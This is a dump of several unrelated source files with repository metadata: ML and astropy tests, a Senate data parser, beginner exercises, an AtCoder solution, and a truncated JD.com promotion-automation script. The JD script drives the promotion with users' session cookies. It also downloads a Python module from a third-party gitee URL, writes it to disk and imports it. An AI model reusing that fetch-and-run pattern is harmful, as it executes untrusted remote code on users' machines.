= self.y.index(min_error) print("Minimum Validation Error = ", min_error) print("Best parameters found = ", self.H[index]) return min_error, self.H[index]

true

f7015d2b3830806be972d5bfd60bcbe4ef3a2efc

1,924

py

Python

model/encoder/model_export_test.py

hjonnala/deeplab2

1868757c4333ec5287cc0bf0a6bbf38fbbe34c2e

[ "Apache-2.0" ]

null

model/encoder/model_export_test.py

hjonnala/deeplab2

1868757c4333ec5287cc0bf0a6bbf38fbbe34c2e

[ "Apache-2.0" ]

null

model/encoder/model_export_test.py

hjonnala/deeplab2

1868757c4333ec5287cc0bf0a6bbf38fbbe34c2e

[ "Apache-2.0" ]

null

# coding=utf-8 # Copyright 2022 The Deeplab2 Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests of model exports for axial_resnet_instances.""" import os from absl import flags from absl.testing import parameterized import tensorflow as tf from deeplab2.model.encoder import axial_resnet_instances FLAGS = flags.FLAGS class ModelExportTest(tf.test.TestCase, parameterized.TestCase): @parameterized.parameters( ('resnet50',), ('resnet50_beta',), ('max_deeplab_s_backbone',), ('max_deeplab_l_backbone',), ('axial_resnet_s',), ('axial_resnet_l',), ('axial_deeplab_s',), ('axial_deeplab_l',), ('swidernet',), ('axial_swidernet',), ) def test_model_export(self, model_name): model = axial_resnet_instances.get_model( model_name, output_stride=16, backbone_layer_multiplier=1.0, bn_layer=tf.keras.layers.BatchNormalization, conv_kernel_weight_decay=0.0001, # Test with small models only. num_blocks=[2, 2, 2, 2], # Disable drop path as it is not compatible with model exporting. block_group_config={'drop_path_keep_prob': 1.0}) model(tf.keras.Input([257, 257, 3], batch_size=1), training=False) export_dir = os.path.join( FLAGS.test_tmpdir, 'test_model_export', model_name) model.save(export_dir) if __name__ == '__main__': tf.test.main()

31.032258

74

0.701663

import os from absl import flags from absl.testing import parameterized import tensorflow as tf from deeplab2.model.encoder import axial_resnet_instances FLAGS = flags.FLAGS class ModelExportTest(tf.test.TestCase, parameterized.TestCase): @parameterized.parameters( ('resnet50',), ('resnet50_beta',), ('max_deeplab_s_backbone',), ('max_deeplab_l_backbone',), ('axial_resnet_s',), ('axial_resnet_l',), ('axial_deeplab_s',), ('axial_deeplab_l',), ('swidernet',), ('axial_swidernet',), ) def test_model_export(self, model_name): model = axial_resnet_instances.get_model( model_name, output_stride=16, backbone_layer_multiplier=1.0, bn_layer=tf.keras.layers.BatchNormalization, conv_kernel_weight_decay=0.0001, num_blocks=[2, 2, 2, 2], block_group_config={'drop_path_keep_prob': 1.0}) model(tf.keras.Input([257, 257, 3], batch_size=1), training=False) export_dir = os.path.join( FLAGS.test_tmpdir, 'test_model_export', model_name) model.save(export_dir) if __name__ == '__main__': tf.test.main()

true

f7015e1fbd223d4d58916cb28639860f971d3ab0

519

py

Python

114_sdoc7/run.py

sunlightlabs/senate_disbursements

3e5989d075a91271c581e32c69f7ee9beb7eebad

[ "BSD-2-Clause" ]

2

2017-06-12T18:09:10.000Z

2021-04-18T17:11:06.000Z

114_sdoc7/run.py

dwillis/senate_disbursements

3e5989d075a91271c581e32c69f7ee9beb7eebad

[ "BSD-2-Clause" ]

1

2017-10-03T14:18:00.000Z

2017-10-03T14:50:35.000Z

114_sdoc7/run.py

dwillis/senate_disbursements

3e5989d075a91271c581e32c69f7ee9beb7eebad

[ "BSD-2-Clause" ]

5

2016-09-20T23:42:34.000Z

2017-10-05T19:23:13.000Z

from rip_pages import rip_pages from read_pages import read_pages from format_csv import format_csv # STEP 1: CONFIG VARIABLES SOURCE_DOC = '114sdoc7' FILE_NAME = "GPO-CDOC-" + SOURCE_DOC + ".pdf" OUT_FILE = 'senate_data.csv' MISSING_FILE = 'missing_data.json' START_PAGE = 17 END_PAGE = 2259 # STEP 2: Rip text, read pages, format output rip_pages(FILE_NAME, START_PAGE, END_PAGE) read_pages(START_PAGE, END_PAGE, OUT_FILE, MISSING_FILE) format_csv(SOURCE_DOC, OUT_FILE) # STEP 3: Reconcile data in MISSING_FILE

23.590909

56

0.782274

from rip_pages import rip_pages from read_pages import read_pages from format_csv import format_csv SOURCE_DOC = '114sdoc7' FILE_NAME = "GPO-CDOC-" + SOURCE_DOC + ".pdf" OUT_FILE = 'senate_data.csv' MISSING_FILE = 'missing_data.json' START_PAGE = 17 END_PAGE = 2259 rip_pages(FILE_NAME, START_PAGE, END_PAGE) read_pages(START_PAGE, END_PAGE, OUT_FILE, MISSING_FILE) format_csv(SOURCE_DOC, OUT_FILE)

true

f7015e22936fea6cb9c989e8330ff91377b8db69

557

py

Python

Fundamentals/Dictionaries/Lect_Demo..py

LuGeorgiev/PythonSelfLearning

db8fcff2c2df8946d6acf2a2e5677eccf2bbe5dc

[ "MIT" ]

null

Fundamentals/Dictionaries/Lect_Demo..py

LuGeorgiev/PythonSelfLearning

db8fcff2c2df8946d6acf2a2e5677eccf2bbe5dc

[ "MIT" ]

null

Fundamentals/Dictionaries/Lect_Demo..py

LuGeorgiev/PythonSelfLearning

db8fcff2c2df8946d6acf2a2e5677eccf2bbe5dc

[ "MIT" ]

null

my_list = [1, 2, 2, 4, 6] #print reverse print(my_list[::-1]) student = {'user': 'Lubo', 'pass': 'admin', 'course': ['C# Fundamentals', 'C# ASP', 'Algorithms']} for key in student: print(key) for kvp in student.items(): print(f'the key is: {kvp[0]}, and values are: {kvp[1]} ') print(student['pass']) print(student.get('Pass', 'Sorry mate no such key')) if 'pass' in student.keys(): print('Here') else: print('Not here') second_part_student = { 'age': 25 } student.update(second_part_student) print(student)

19.206897

65

0.603232

my_list = [1, 2, 2, 4, 6] print(my_list[::-1]) student = {'user': 'Lubo', 'pass': 'admin', 'course': ['C# Fundamentals', 'C# ASP', 'Algorithms']} for key in student: print(key) for kvp in student.items(): print(f'the key is: {kvp[0]}, and values are: {kvp[1]} ') print(student['pass']) print(student.get('Pass', 'Sorry mate no such key')) if 'pass' in student.keys(): print('Here') else: print('Not here') second_part_student = { 'age': 25 } student.update(second_part_student) print(student)

true

f7015eff97146dcc90e0d346cf7013c167c3b070

748

py

Python

datas/exameUltrassom.py

mdietterle/aulas

b289a7252c2c8f7dfb4ee5482326a94e7d87ee45

[ "Apache-2.0" ]

null

datas/exameUltrassom.py

mdietterle/aulas

b289a7252c2c8f7dfb4ee5482326a94e7d87ee45

[ "Apache-2.0" ]

null

datas/exameUltrassom.py

mdietterle/aulas

b289a7252c2c8f7dfb4ee5482326a94e7d87ee45

[ "Apache-2.0" ]

null

import datetime from dateutil.relativedelta import relativedelta print("Programa para calcular o prazo de exame de ultrassom...\nO mesmo deve ser feito entre 22 e 24 semanas de gestação") print("você deverá informar com quantas semanasa de gestação a paciente se encontra, no formato aaaa/mm/dd") semanas = int(input("Com quantas semanas de gestação a paciente se encontra hoje? ")) exameInicio = 22-semanas exameFinal = 24 - semanas morfologicoInicio = datetime.date.today()+ relativedelta(weeks=exameInicio) morfologicoFinal = datetime.date.today() + relativedelta(weeks=exameFinal) dfinal = morfologicoFinal.strftime('%d/%m/%Y') dinicial = morfologicoInicio.strftime('%d/%m/%Y') print("O exame deverá ser feito entre ",dinicial, " e ", dfinal)

53.428571

122

0.778075

import datetime from dateutil.relativedelta import relativedelta print("Programa para calcular o prazo de exame de ultrassom...\nO mesmo deve ser feito entre 22 e 24 semanas de gestação") print("você deverá informar com quantas semanasa de gestação a paciente se encontra, no formato aaaa/mm/dd") semanas = int(input("Com quantas semanas de gestação a paciente se encontra hoje? ")) exameInicio = 22-semanas exameFinal = 24 - semanas morfologicoInicio = datetime.date.today()+ relativedelta(weeks=exameInicio) morfologicoFinal = datetime.date.today() + relativedelta(weeks=exameFinal) dfinal = morfologicoFinal.strftime('%d/%m/%Y') dinicial = morfologicoInicio.strftime('%d/%m/%Y') print("O exame deverá ser feito entre ",dinicial, " e ", dfinal)

true

f701614adbe0c289b89493a7ae3140602778980b

2,333

py

Python

jp.atcoder/abc012/abc012_4/21865313.py

kagemeka/atcoder-submissions

91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e

[ "MIT" ]

1

2022-02-09T03:06:25.000Z

jp.atcoder/abc012/abc012_4/21865313.py

kagemeka/atcoder-submissions

91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e

[ "MIT" ]

1

2022-02-05T22:53:18.000Z

2022-02-09T01:29:30.000Z

jp.atcoder/abc012/abc012_4/21865313.py

kagemeka/atcoder-submissions

91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e

[ "MIT" ]

null

from __future__ import annotations from typing import Generator, NoReturn class StdReader: def __init__( self, ) -> NoReturn: import sys self.buf = sys.stdin.buffer self.lines = self.async_readlines() self.chunks: Generator def async_readlines( self, ) -> Generator: while True: gen = self.line_chunks() yield gen def line_chunks( self, ) -> Generator: ln = self.buf.readline() for chunk in ln.split(): yield chunk def __call__( self, ) -> bytes: try: chunk = next(self.chunks) except: self.chunks = next( self.lines, ) chunk = self() return chunk def str( self, ) -> str: b = self() return b.decode() def int( self, ) -> int: return int(self.str()) from abc import ABC, abstractmethod class Solver(ABC): def __init__(self): self.reader = StdReader() def __call__( self, ): self.prepare() self.solve() @abstractmethod def prepare(self): ... @abstractmethod def solve(self): ... import numpy as np from scipy.sparse import csr_matrix from scipy.sparse.csgraph import floyd_warshall class Problem( Solver, ): def prepare(self): reader = self.reader n = reader.int() m = reader.int() a = [reader.int() for _ in range(3 * m)] a = np.array( a, ).reshape(m, 3) a, b, t = a.T self.n, self.m = n, m self.a = a - 1 self.b = b - 1 self.t = t def solve(self): self.compute_dist_mat() dist = self.dist d = dist.max(axis=1).min() print(int(d)) def compute_dist_mat( self, ): n = self.n a = self.a b = self.b t = self.t g = csr_matrix( (t, (a, b)), shape=(n, n), ) dist = floyd_warshall( csgraph=g, directed=False, ) self.dist = dist def main(): t = 1 # t = StdReader().int() for _ in range(t): Problem()() if __name__ == "__main__": main()

17.80916

48

0.479211

from __future__ import annotations from typing import Generator, NoReturn class StdReader: def __init__( self, ) -> NoReturn: import sys self.buf = sys.stdin.buffer self.lines = self.async_readlines() self.chunks: Generator def async_readlines( self, ) -> Generator: while True: gen = self.line_chunks() yield gen def line_chunks( self, ) -> Generator: ln = self.buf.readline() for chunk in ln.split(): yield chunk def __call__( self, ) -> bytes: try: chunk = next(self.chunks) except: self.chunks = next( self.lines, ) chunk = self() return chunk def str( self, ) -> str: b = self() return b.decode() def int( self, ) -> int: return int(self.str()) from abc import ABC, abstractmethod class Solver(ABC): def __init__(self): self.reader = StdReader() def __call__( self, ): self.prepare() self.solve() @abstractmethod def prepare(self): ... @abstractmethod def solve(self): ... import numpy as np from scipy.sparse import csr_matrix from scipy.sparse.csgraph import floyd_warshall class Problem( Solver, ): def prepare(self): reader = self.reader n = reader.int() m = reader.int() a = [reader.int() for _ in range(3 * m)] a = np.array( a, ).reshape(m, 3) a, b, t = a.T self.n, self.m = n, m self.a = a - 1 self.b = b - 1 self.t = t def solve(self): self.compute_dist_mat() dist = self.dist d = dist.max(axis=1).min() print(int(d)) def compute_dist_mat( self, ): n = self.n a = self.a b = self.b t = self.t g = csr_matrix( (t, (a, b)), shape=(n, n), ) dist = floyd_warshall( csgraph=g, directed=False, ) self.dist = dist def main(): t = 1 for _ in range(t): Problem()() if __name__ == "__main__": main()

true

f70162a1e21c7e1848d4431d52ef94aa63177e6a

3,991

py

Python

tests/test_reducers_utils.py

jonathansick/astropy-librarian

f6a7cbd42ce0323b6d62f842a67eeeb7c31160b2

[ "BSD-3-Clause" ]

null

tests/test_reducers_utils.py

jonathansick/astropy-librarian

f6a7cbd42ce0323b6d62f842a67eeeb7c31160b2

[ "BSD-3-Clause" ]

14

2020-03-30T17:25:17.000Z

2022-02-10T15:15:55.000Z

tests/test_reducers_utils.py

jonathansick/astropy-librarian

f6a7cbd42ce0323b6d62f842a67eeeb7c31160b2

[ "BSD-3-Clause" ]

1

2021-05-01T21:32:09.000Z

# Licensed under a 3-clause BSD style license - see LICENSE.rst """Tests for the astropylibrarian.reducers.utils module. """ from __future__ import annotations from typing import TYPE_CHECKING from astropylibrarian.reducers.utils import iter_sphinx_sections if TYPE_CHECKING: from .conftest import HtmlTestData def test_iter_sphinx_sections(color_excess_tutorial: HtmlTestData) -> None: """Test the iter_sphinx_sections algorithm using the color-excess.html notebook tutorial example. This example is made complicated by the fact that the heading levels are not strictly hierarchical. There are multiple "h1" tags. """ doc = color_excess_tutorial.parse() root = doc.cssselect(".card .section")[0] sections = [] for s in iter_sphinx_sections( root_section=root, base_url=color_excess_tutorial.url, headers=[], header_callback=lambda x: x.rstrip("¶"), content_callback=lambda x: x.strip(), ): sections.append(s) assert len(sections) == 5 assert sections[0].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Learning Goals", ] assert sections[0].header_level == 2 assert sections[0].url == ( "http://learn.astropy.org/rst-tutorials/color-excess.html" "#learning-goals" ) assert sections[0].content.startswith( "Investigate extinction curve shapes" ) assert sections[1].headings[-1] == "Keywords" assert sections[1].header_level == 2 assert sections[1].content.startswith( "dust extinction, synphot, astroquery, units, photometry, extinction," ) assert sections[2].headings[-1] == "Companion Content" assert sections[2].header_level == 2 assert sections[2].content.startswith("Bessell & Murphy") assert sections[3].headings[-1] == "Summary" assert sections[3].header_level == 2 assert sections[3].content.startswith( "In this tutorial, we will look at some extinction curves from the" ) assert sections[4].headings[-1] == ( "Analyzing interstellar reddening and calculating synthetic " "photometry" ) assert sections[4].header_level == 1 # Demonstrate finding addition h1 sections on a page (that are supposed # to be additional h2 sections in a hierarchical sense). h1_heading = sections[-1].headings[-1] for sibling in root.itersiblings(tag="div"): if "section" in sibling.classes: for s in iter_sphinx_sections( root_section=sibling, base_url=color_excess_tutorial.url, headers=[h1_heading], header_callback=lambda x: x.rstrip("¶"), content_callback=lambda x: x.strip(), ): sections.append(s) assert sections[5].header_level == 2 assert sections[5].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Introduction", ] assert sections[6].header_level == 2 assert sections[6].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Example 1: Investigate Extinction Models", ] assert sections[7].header_level == 2 assert sections[7].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Example 2: Deredden a Spectrum", ] assert sections[8].header_level == 3 assert sections[8].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Example 3: Calculate Color Excess with synphot", "Exercise", ] assert sections[9].header_level == 2 assert sections[9].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Example 3: Calculate Color Excess with synphot", ]

32.713115

78

0.656477

from __future__ import annotations from typing import TYPE_CHECKING from astropylibrarian.reducers.utils import iter_sphinx_sections if TYPE_CHECKING: from .conftest import HtmlTestData def test_iter_sphinx_sections(color_excess_tutorial: HtmlTestData) -> None: doc = color_excess_tutorial.parse() root = doc.cssselect(".card .section")[0] sections = [] for s in iter_sphinx_sections( root_section=root, base_url=color_excess_tutorial.url, headers=[], header_callback=lambda x: x.rstrip("¶"), content_callback=lambda x: x.strip(), ): sections.append(s) assert len(sections) == 5 assert sections[0].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Learning Goals", ] assert sections[0].header_level == 2 assert sections[0].url == ( "http://learn.astropy.org/rst-tutorials/color-excess.html" "#learning-goals" ) assert sections[0].content.startswith( "Investigate extinction curve shapes" ) assert sections[1].headings[-1] == "Keywords" assert sections[1].header_level == 2 assert sections[1].content.startswith( "dust extinction, synphot, astroquery, units, photometry, extinction," ) assert sections[2].headings[-1] == "Companion Content" assert sections[2].header_level == 2 assert sections[2].content.startswith("Bessell & Murphy") assert sections[3].headings[-1] == "Summary" assert sections[3].header_level == 2 assert sections[3].content.startswith( "In this tutorial, we will look at some extinction curves from the" ) assert sections[4].headings[-1] == ( "Analyzing interstellar reddening and calculating synthetic " "photometry" ) assert sections[4].header_level == 1 h1_heading = sections[-1].headings[-1] for sibling in root.itersiblings(tag="div"): if "section" in sibling.classes: for s in iter_sphinx_sections( root_section=sibling, base_url=color_excess_tutorial.url, headers=[h1_heading], header_callback=lambda x: x.rstrip("¶"), content_callback=lambda x: x.strip(), ): sections.append(s) assert sections[5].header_level == 2 assert sections[5].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Introduction", ] assert sections[6].header_level == 2 assert sections[6].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Example 1: Investigate Extinction Models", ] assert sections[7].header_level == 2 assert sections[7].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Example 2: Deredden a Spectrum", ] assert sections[8].header_level == 3 assert sections[8].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Example 3: Calculate Color Excess with synphot", "Exercise", ] assert sections[9].header_level == 2 assert sections[9].headings == [ "Analyzing interstellar reddening and calculating synthetic " "photometry", "Example 3: Calculate Color Excess with synphot", ]

true

f70163d595617592249268b64bea9e62fee7ad0e

48,246

py

Python

jd_beauty_plant.py

21945764/Absinthe

9bc101d49fcd4e53d64dd6065fad8315543c4f17

[ "MIT" ]

320

2022-02-07T11:50:19.000Z

2022-03-31T10:07:55.000Z

jd_beauty_plant.py

21945764/Absinthe

9bc101d49fcd4e53d64dd6065fad8315543c4f17

[ "MIT" ]

25

2022-02-08T00:40:00.000Z

2022-03-31T06:18:08.000Z

jd_beauty_plant.py

21945764/Absinthe

9bc101d49fcd4e53d64dd6065fad8315543c4f17

[ "MIT" ]

274

2022-02-07T11:35:01.000Z

2022-03-31T15:07:18.000Z

#!/bin/env python3 # -*- coding: utf-8 -* ''' 感谢Curtin提供的其他脚本供我参考感谢aburd ch大佬的指导项目名称:xF_jd_beauty_plant.py Author: 一风一扬功能：健康社区-种植园自动任务 Date: 2022-1-4 cron: 10 9,11,15,21 * * * jd_beauty_plant.py new Env('化妆馆-种植园自动任务'); 活动入口：25:/￥2EaeU74Gz07gJ% 教程：该活动与京东的ck通用，所以只需要填写第几个号运行改脚本就行了。青龙变量填写export plant_cookie="1"，代表京东CK的第一个号执行该脚本多账号用&隔开，例如export plant_cookie="1&2"，代表京东CK的第一、二个号执行该脚本。这样做，JD的ck过期就不用维护两次了，所以做出了更新。青龙变量export choose_plant_id="true",表示自己选用浇水的ID，适用于种植了多个产品的人，默认为false，如果是false仅适用于种植了一个产品的人。对于多账号的，只要有一个账号种植多个产品，都必须为true才能浇水。如果choose_plant_id="false"，planted_id可以不填写变量值。青龙变量export planted_id = 'xxxx'，表示需要浇水的id，单账号可以先填写export planted_id = '111111'，export choose_plant_id="true"，运行一次脚本日志输出会有planted_id，然后再重新修改export planted_id = 'xxxxxx'。多个账号也一样，如果2个账号export planted_id = '111111&111111' 3个账号export planted_id = '111111&111111&111111'，以此类推。注意：planted_id和ck位置要对应。而且你有多少个账号，就得填多少个planted_id，首次111111填写时，为6位数。例如export plant_cookie="xxxx&xxxx&xxx"，那export planted_id = "111111&111111&111111",也要写满3个id，这样才能保证所有账号都能跑 https://github.com/jsNO1/e ''' ######################################################以下代码请不要乱改###################################### UserAgent = '' account = '' cookie = '' cookies = [] choose_plant_id = 'false' planted_id = '' shop_id = '' beauty_plant_exchange = 'false' planted_ids = [] import requests import time, datetime import requests, re, os, sys, random, json from urllib.parse import quote, unquote import threading import urllib3 # urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) requests.packages.urllib3.disable_warnings () today = datetime.datetime.now ().strftime ('%Y-%m-%d') tomorrow = (datetime.datetime.now () + datetime.timedelta (days=1)).strftime ('%Y-%m-%d') nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') time1 = '21:00:00.00000000' time2 = '23:00:00.00000000' flag_time1 = '{} {}'.format (today, time1) flag_time2 = '{} {}'.format (today, time2) pwd = os.path.dirname (os.path.abspath (__file__)) + os.sep path = pwd + "env.sh" sid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 32)) sid_ck = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdefABCDEFGHIJKLMNOPQRSTUVWXYZ', 43)) def printT(s): print ("[{0}]: {1}".format (datetime.datetime.now ().strftime ("%Y-%m-%d %H:%M:%S"), s)) sys.stdout.flush () def getEnvs(label): try: if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': return True elif label == 'False' or label == 'no' or label == 'false' or label == 'No': return False except: pass try: if '.' in label: return float (label) elif '&' in label: return label.split ('&') elif '@' in label: return label.split ('@') else: return int (label) except: return label # 获取v4环境特殊处理 try: with open (v4f, 'r', encoding='utf-8') as v4f: v4Env = v4f.read () r = re.compile (r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}]{1,})+[\'\"]{0,1}$', re.M | re.S | re.I) r = r.findall (v4Env) curenv = locals () for i in r: if i[0] != 'JD_COOKIE': curenv[i[0]] = getEnvs (i[1]) except: pass ############# 在pycharm测试ql环境用，实际用下面的代码运行 ######### # with open(path, "r+", encoding="utf-8") as f: # ck = f.read() # if "JD_COOKIE" in ck: # r = re.compile (r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) # cookies = r.findall (ck) # # print(cookies) # # cookies = cookies[0] # # print(cookies) # # cookies = cookies.split ('&') # printT ("已获取并使用ck环境 Cookie") ####################################################################### if "plant_cookie" in os.environ: if len (os.environ["plant_cookie"]) == 1: is_ck = int(os.environ["plant_cookie"]) cookie1 = os.environ["JD_COOKIE"].split('&') cookie = cookie1[is_ck-1] printT ("已获取并使用Env环境cookie") elif len (os.environ["plant_cookie"]) > 1: cookies1 = [] cookies1 = os.environ["JD_COOKIE"] cookies1 = cookies1.split ('&') is_ck = os.environ["plant_cookie"].split('&') for i in is_ck: cookies.append(cookies1[int(i)-1]) printT ("已获取并使用Env环境plant_cookies") else: printT ("变量plant_cookie未填写") exit (0) if "choose_plant_id" in os.environ: choose_plant_id = os.environ["choose_plant_id"] printT (f"已获取并使用Env环境choose_plant_id={choose_plant_id}") else: printT ("变量choose_plant_id未填写,默认为false只种植了一个，如果种植了多个，请填写改变量planted_id") if "planted_id" in os.environ: if len (os.environ["planted_id"]) > 8: planted_ids = os.environ["planted_id"] planted_ids = planted_ids.split ('&') else: planted_id = os.environ["planted_id"] printT (f"已获取并使用Env环境planted_id={planted_id}") else: printT ("变量planted_id未填写,默认为false只种植了一个，如果种植了多个，请填写改变量planted_id") if "beauty_plant_exchange" in os.environ: beauty_plant_exchange = os.environ["beauty_plant_exchange"] printT (f"已获取并使用Env环境beauty_plant_exchange={beauty_plant_exchange}") else: printT ("变量beauty_plant_exchange未填写,默认为false，不用美妆币兑换肥料") def userAgent(): """ 随机生成一个UA :return: jdapp;iPhone;9.4.8;14.3;xxxx;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 """ if not UserAgent: uuid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) addressid = ''.join (random.sample ('1234567898647', 10)) iosVer = ''.join ( random.sample (["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) iosV = iosVer.replace ('.', '_') iPhone = ''.join (random.sample (["8", "9", "10", "11", "12", "13"], 1)) ADID = ''.join (random.sample ('0987654321ABCDEF', 8)) + '-' + ''.join ( random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join ( random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join ( random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join (random.sample ('0987654321ABCDEF', 12)) return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone{iPhone},1;addressid/{addressid};supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' else: return UserAgent ## 获取通知服务 class msg (object): def __init__(self, m=''): self.str_msg = m self.message () def message(self): global msg_info printT (self.str_msg) try: msg_info = "{}\n{}".format (msg_info, self.str_msg) except: msg_info = "{}".format (self.str_msg) sys.stdout.flush () # 这代码的作用就是刷新缓冲区。 # 当我们打印一些字符时，并不是调用print函数后就立即打印的。一般会先将字符送到缓冲区，然后再打印。 # 这就存在一个问题，如果你想等时间间隔的打印一些字符，但由于缓冲区没满，不会打印。就需要采取一些手段。如每次打印后强行刷新缓冲区。 def getsendNotify(self, a=0): if a == 0: a += 1 try: url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' response = requests.get (url) if 'curtinlv' in response.text: with open ('sendNotify.py', "w+", encoding="utf-8") as f: f.write (response.text) else: if a < 5: a += 1 return self.getsendNotify (a) else: pass except: if a < 5: a += 1 return self.getsendNotify (a) else: pass def main(self): global send cur_path = os.path.abspath (os.path.dirname (__file__)) sys.path.append (cur_path) if os.path.exists (cur_path + "/sendNotify.py"): try: from sendNotify import send except: self.getsendNotify () try: from sendNotify import send except: printT ("加载通知服务失败~") else: self.getsendNotify () try: from sendNotify import send except: printT ("加载通知服务失败~") ################### msg ().main () def setName(cookie): try: r = re.compile (r"pt_pin=(.*?);") # 指定一个规则：查找pt_pin=与;之前的所有字符,但pt_pin=与;不复制。r"" 的作用是去除转义字符. userName = r.findall (cookie) # 查找pt_pin=与;之前的所有字符，并复制给r，其中pt_pin=与;不复制。 # print (userName) userName = unquote (userName[0]) # r.findall(cookie)赋值是list列表，这个赋值为字符串 # print(userName) return userName except Exception as e: print (e, "cookie格式有误！") exit (2) # 获取ck def get_ck(token, sid_ck, account): try: url = 'https://api.m.jd.com/client.action?functionId=isvObfuscator' headers = { # 'Connection': 'keep-alive', 'accept': '*/*', "cookie": f"{token}", 'host': 'api.m.jd.com', # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', 'user-Agent': "JD4iPhone/167922%20(iPhone;%20iOS;%20Scale/2.00)", 'accept-Encoding': 'gzip, deflate, br', 'accept-Language': 'zh-Hans-CN;q=1', "content-type": "application/x-www-form-urlencoded", # "content-length":"1348", } timestamp = int (round (time.time () * 1000)) timestamp1 = int (timestamp / 1000) data = r'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruismzd-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167922&client=apple&clientVersion=10.3.2&d_brand=apple&d_model=iPhone12%2C1&ef=1&eid=eidI4a9081236as4w7JpXa5zRZuwROIEo3ORpcOyassXhjPBIXtrtbjusqCxeW3E1fOtHUlGhZUCur1Q1iocDze1pQ9jBDGfQs8UXxMCTz02fk0RIHpB&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22ENS4AtO3EJS%3D%22%2C%22wifiBssid%22%3A%22' + f"{sid_ck}" + r'%3D%22%2C%22osVersion%22%3A%22CJUkCK%3D%3D%22%2C%22area%22%3A%22CJvpCJY1DV80ENY2XzK%3D%22%2C%22openudid%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1642002985%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=88&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=01&sign=946db60626658b250cf47aafb6f67691&st=1642002999847&sv=112&uemps=0-0&uts=0f31TVRjBSu3kkqwe7t25AkQCKuzV3pz8JrojVuU0630g%2BkZigs9kTwRghT26sE72/e92RRKan/%2B9SRjIJYCLuhew91djUwnIY47k31Rwne/U1fOHHr9FmR31X03JKJjwao/EC1gy4fj7PV1Co0ZOjiCMTscFo/8id2r8pCHYMZcaeH3yPTLq1MyFF3o3nkStM/993MbC9zim7imw8b1Fg%3D%3D' # data = '{"token":"AAFh3ANjADAPSunyKSzXTA-UDxrs3Tn9hoy92x4sWmVB0Kv9ey-gAMEdJaSDWLWtnMX8lqLujBo","source":"01"}' # print(data) response = requests.post (url=url, verify=False, headers=headers, data=data) result = response.json () # print(result) access_token = result['token'] # print(access_token) return access_token except Exception as e: msg ("账号【{0}】获取ck失败，cookie过期".format (account)) # 获取Authorization def get_Authorization(access_token, account): try: url = 'https://xinruimz-isv.isvjcloud.com/papi/auth' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', 